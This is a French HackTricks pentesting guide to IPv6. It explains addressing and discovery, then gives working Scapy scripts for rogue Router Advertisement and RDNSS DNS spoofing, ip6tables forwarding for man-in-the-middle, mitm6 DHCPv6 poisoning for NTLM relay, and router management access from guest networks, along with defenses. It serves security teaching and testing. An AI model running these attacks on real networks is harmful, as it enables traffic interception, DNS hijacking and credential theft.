Pentesting IPv6

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Théorie de base de l’IPv6

Réseaux

Les adresses IPv6 sont structurées pour améliorer l’organisation du réseau et l’interaction des dispositifs. Une adresse IPv6 est divisée en :

  1. Préfixe de réseau : Les 48 premiers bits, déterminant le segment de réseau.
  2. ID de sous-réseau : Les 16 bits suivants, utilisés pour définir des sous-réseaux spécifiques au sein du réseau.
  3. Identifiant d’interface : Les 64 derniers bits, identifiant de manière unique un dispositif au sein du sous-réseau.

Bien que l’IPv6 omette le protocole ARP présent dans l’IPv4, il introduit ICMPv6 avec deux messages principaux :

  • Solicitation de voisin (NS) : Messages multicast pour la résolution d’adresse.
  • Annonce de voisin (NA) : Réponses unicast aux NS ou annonces spontanées.

L’IPv6 incorpore également des types d’adresses spéciaux :

  • Adresse de boucle (::1) : Équivalente à 127.0.0.1 de l’IPv4, pour la communication interne au sein de l’hôte.
  • Adresses Link-Local (FE80::/10) : Pour les activités de réseau local, pas pour le routage Internet. Les dispositifs sur le même réseau local peuvent se découvrir en utilisant cette plage.

Utilisation pratique de l’IPv6 dans les commandes réseau

Pour interagir avec les réseaux IPv6, vous pouvez utiliser diverses commandes :

  • Ping des adresses Link-Local : Vérifiez la présence de dispositifs locaux en utilisant ping6.
  • Découverte de voisin : Utilisez ip neigh pour voir les dispositifs découverts au niveau de la couche de liaison.
  • alive6 : Un outil alternatif pour découvrir des dispositifs sur le même réseau.

Voici quelques exemples de commandes :

ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80

# Alternatively, use alive6 for neighbor discovery
alive6 eth0

Les adresses IPv6 peuvent être dérivées de l’adresse MAC d’un appareil pour la communication locale. Voici un guide simplifié sur la façon de dériver l’adresse IPv6 Link-local à partir d’une adresse MAC connue, ainsi qu’un aperçu des types d’adresses IPv6 et des méthodes pour découvrir des adresses IPv6 au sein d’un réseau.

Étant donné une adresse MAC 12:34:56:78:9a:bc, vous pouvez construire l’adresse IPv6 Link-local comme suit :

  1. Convertir la MAC au format IPv6 : 1234:5678:9abc
  2. Préfixer fe80:: et insérer fffe au milieu : fe80::1234:56ff:fe78:9abc
  3. Inverser le septième bit à partir de la gauche, changeant 1234 en 1034 : fe80::1034:56ff:fe78:9abc

Types d’adresses IPv6

  • Adresse locale unique (ULA) : Pour les communications locales, non destinée au routage sur Internet public. Préfixe : FEC00::/7
  • Adresse multicast : Pour la communication un-à-plusieurs. Livrée à toutes les interfaces dans le groupe multicast. Préfixe : FF00::/8
  • Adresse anycast : Pour la communication un-à-le-plus-proche. Envoyée à l’interface la plus proche selon le protocole de routage. Partie de la plage unicast globale 2000::/3.

Préfixes d’adresse

  • fe80::/10 : Adresses Link-Local (similaire à 169.254.x.x)
  • fc00::/7 : Unicast local unique (similaire aux plages IPv4 privées comme 10.x.x.x, 172.16.x.x, 192.168.x.x)
  • 2000::/3 : Unicast global
  • ff02::1 : Multicast Tous les Nœuds
  • ff02::2 : Multicast Nœuds Routeurs

Découverte des adresses IPv6 au sein d’un réseau

  1. Obtenez l’adresse MAC d’un appareil au sein du réseau.
  2. Dérivez l’adresse IPv6 Link-local à partir de l’adresse MAC.

Méthode 2 : Utilisation du multicast

  1. Envoyez un ping à l’adresse multicast ff02::1 pour découvrir les adresses IPv6 sur le réseau local.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table

Attaques Man-in-the-Middle (MitM) IPv6

Plusieurs techniques existent pour exécuter des attaques MitM dans des réseaux IPv6, telles que :

  • Usurpation des annonces de voisins ou de routeurs ICMPv6.
  • Utilisation de messages ICMPv6 de redirection ou “Packet Too Big” pour manipuler le routage.
  • Attaque sur IPv6 mobile (nécessite généralement que l’IPSec soit désactivé).
  • Mise en place d’un serveur DHCPv6 malveillant.

Identification des adresses IPv6 dans le champ

Exploration des sous-domaines

Une méthode pour trouver des sous-domaines potentiellement liés à des adresses IPv6 consiste à tirer parti des moteurs de recherche. Par exemple, utiliser un modèle de requête comme ipv6.* peut être efficace. Plus précisément, la commande de recherche suivante peut être utilisée dans Google :

site:ipv6./

Utilisation des requêtes DNS

Pour identifier les adresses IPv6, certains types d’enregistrements DNS peuvent être interrogés :

  • AXFR : Demande un transfert complet de zone, pouvant révéler un large éventail d’enregistrements DNS.
  • AAAA : Recherche directement des adresses IPv6.
  • ANY : Une requête large qui renvoie tous les enregistrements DNS disponibles.

Probe avec Ping6

Après avoir identifié les adresses IPv6 associées à une organisation, l’utilitaire ping6 peut être utilisé pour le probing. Cet outil aide à évaluer la réactivité des adresses IPv6 identifiées et peut également aider à découvrir des dispositifs IPv6 adjacents.

Techniques d’attaque sur le réseau local IPv6

Les sections suivantes couvrent des attaques IPv6 pratiques de couche 2 qui peuvent être exécutées à l’intérieur du même segment /64 sans connaître de préfixe global. Tous les paquets montrés ci-dessous sont link-local et ne circulent que par le commutateur local, les rendant extrêmement furtifs dans la plupart des environnements.

Optimisation du système pour un laboratoire stable

Avant de jouer avec le trafic IPv6, il est recommandé de sécuriser votre machine pour éviter d’être empoisonné par vos propres tests et d’obtenir les meilleures performances lors de l’injection/sniffing de paquets massifs.

# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on

# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0

# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1

Sniffing passif NDP & DHCPv6

Parce que chaque hôte IPv6 rejoint automatiquement plusieurs groupes multicast (ff02::1, ff02::2, …) et utilise ICMPv6 pour SLAAC/NDP, vous pouvez cartographier tout le segment sans envoyer un seul paquet. La ligne de commande Python/Scapy suivante écoute les messages L2 les plus intéressants et imprime un journal coloré et horodaté de qui est qui :

#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse

init(autoreset=True)

# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit:    'Solicit',
DHCP6_Advertise:  'Advertise',
DHCP6_Request:    'Request',
DHCP6_Reply:      'Reply',
DHCP6_Renew:      'Renew',
DHCP6_Rebind:     'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS:      ('Router Solicitation',  Fore.CYAN),
ICMPv6ND_RA:      ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS:      ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA:      ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect',             Fore.LIGHTRED_EX),
ICMPv6MLReport:   ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLReport2:  ('MLD Report',           Fore.LIGHTCYAN_EX),
ICMPv6MLDone:     ('MLD Done',             Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request',         Fore.LIGHTBLACK_EX),
ICMPv6EchoReply:  ('Echo Reply',           Fore.LIGHTBLACK_EX)
}

def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'

# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547:  # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return  # not a DHCPv6 message we track
else:
return  # not interesting

print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f"  MAC  {eth_src} -> {eth_dst}")
print(f"  IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)

if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)

Résultat : une topologie link-local complète (MAC ⇄ IPv6) en quelques secondes, sans déclencher les systèmes IPS/IDS qui s’appuient sur des analyses actives.

Usurpation de l’annonce de routeur (RA)

Les hôtes IPv6 s’appuient sur les annonces de routeur ICMPv6 pour la découverte de la passerelle par défaut. Si vous injectez des RAs falsifiés plus fréquemment que le routeur légitime, les appareils passeront silencieusement à vous en tant que passerelle.

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()

lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/  # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Pour réellement transférer le trafic après avoir gagné la course :

sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

Drapeaux de l’annonce de routeur (M/O) et préférence de routeur par défaut (Prf)

DrapeauSignificationEffet sur le comportement du client
M (Configuration d’adresse gérée)Lorsqu’il est défini sur 1, l’hôte DOIT utiliser DHCPv6 pour obtenir son adresse IPv6.Toute l’adressage provient de DHCPv6 – parfait pour le empoisonnement de style mitm6.
O (Autre configuration)Lorsqu’il est défini sur 1, l’hôte doit utiliser DHCPv6 uniquement pour obtenir d’autres informations (DNS, NTP, …).Adresse toujours via SLAAC, mais DNS peut être détourné avec DHCPv6.
M=0 / O=0Réseau purement SLAAC.Seules les astuces RA / RDNSS sont possibles – DHCPv6 ne sera pas envoyé par les clients.
M=1 / O=1Environnement mixte.À la fois DHCPv6 et SLAAC sont utilisés ; la surface pour le spoofing est la plus grande.

Lors d’un pentest, vous pouvez simplement inspecter le RA légitime une fois et décider quel vecteur est faisable :

sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134'   # capture Router Advertisements

Recherchez le champ flags [M,O] dans le dump – aucune supposition requise.

Le champ Prf (Préférence du Routeur) à l’intérieur de l’en-tête RA contrôle à quel point votre routeur rogue semble attrayant lorsque plusieurs passerelles sont présentes :

Valeur PrfBinaireSignification
Élevé10Les clients préfèrent ce routeur à tout routeur Moyen/Bas
Moyen (par défaut)01Utilisé par presque tous les appareils légitimes
Bas00Choisi uniquement lorsqu’aucun meilleur routeur n’existe

Lors de la génération du paquet avec Scapy, vous pouvez le définir via le paramètre prf comme indiqué ci-dessus (prf=0x1 → Élevé). Combiner Prf Élevé, un court intervalle, et une durée de vie non nulle rend votre passerelle rogue remarquablement stable.


Spoofing RDNSS (DNS) via RA

RFC 8106 permet d’ajouter une option Serveur DNS Récursif (RDNSS) à l’intérieur d’un RA. Les systèmes d’exploitation modernes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) lui font automatiquement confiance :

#!/usr/bin/env python3
from scapy.all import *
import argparse

p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()

ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))

send(ra,iface=args.interface,loop=1,inter=args.interval)

Les clients préfixeront votre DNS à leur liste de résolveurs pour la durée donnée, accordant un détournement DNS complet jusqu’à ce que la valeur expire ou que vous envoyiez un lifetime=0 revert.

DHCPv6 DNS Spoofing (mitm6)

Au lieu de SLAAC, les réseaux Windows dépendent souvent de DHCPv6 sans état pour DNS. mitm6 répond automatiquement aux messages Solicit avec un flux Advertise → Reply qui attribue votre adresse link-local comme DNS pendant 300 secondes. Cela déverrouille :

  • Attaques de relais NTLM (WPAD + détournement DNS)
  • Interception de la résolution de noms internes sans toucher aux routeurs

Utilisation typique :

sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning

Défenses

  • RA Guard / DHCPv6 Guard / ND Inspection sur des commutateurs gérés.
  • ACL de port qui permettent uniquement à l’adresse MAC du routeur légitime d’envoyer des RAs.
  • Surveiller les RAs à taux élevé non solides ou les changements soudains de RDNSS.
  • Désactiver IPv6 sur les points de terminaison est une solution temporaire qui casse souvent les services modernes et cache des angles morts – préférer le filtrage L2 à la place.

Découverte de routeur NDP sur SSID Invité/Public et Exposition des Services de Gestion

De nombreux routeurs grand public exposent des démons de gestion (HTTP(S), SSH/Telnet, TR-069, etc.) sur toutes les interfaces. Dans certaines configurations, le SSID “invité/public” est ponté au WAN/noyau et est uniquement IPv6. Même si l’IPv6 du routeur change à chaque démarrage, vous pouvez l’apprendre de manière fiable en utilisant NDP/ICMPv6 et ensuite vous connecter directement au plan de gestion depuis le SSID invité.

Flux de travail typique d’un client connecté au SSID invité/public :

  1. Découvrir le routeur via ICMPv6 Router Solicitation à l’adresse multicast All-Routers ff02::2 et capturer l’annonce de routeur (RA) :
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'

# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY

Le RA révèle l’adresse/prefixe link-local du routeur et souvent une adresse/prefixe global. Si seule une adresse link-local est connue, rappelez-vous que les connexions doivent spécifier l’index de zone, par exemple ssh -6 admin@[fe80::1%wlan0].

Alternative : utilisez la suite ndisc6 si disponible :

# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
  1. Accéder aux services exposés via IPv6 depuis le SSID invité :
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
  1. Si le shell de gestion fournit des outils de capture de paquets via un wrapper (par exemple, tcpdump), vérifiez l’injection d’arguments/nom de fichier qui permet de passer des drapeaux tcpdump supplémentaires comme -G/-W/-z pour réaliser l’exécution de commandes post-rotation. Voir :

Wildcards Spare tricks

Défenses/notes :

  • Ne liez pas la gestion aux ponts invités/publics ; appliquez des pare-feu IPv6 sur les ponts SSID.
  • Limitez le taux et filtrez NDP/RS/RA sur les segments invités lorsque cela est possible.
  • Pour les services qui doivent être accessibles, appliquez l’authN/MFA et des limites de taux strictes.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks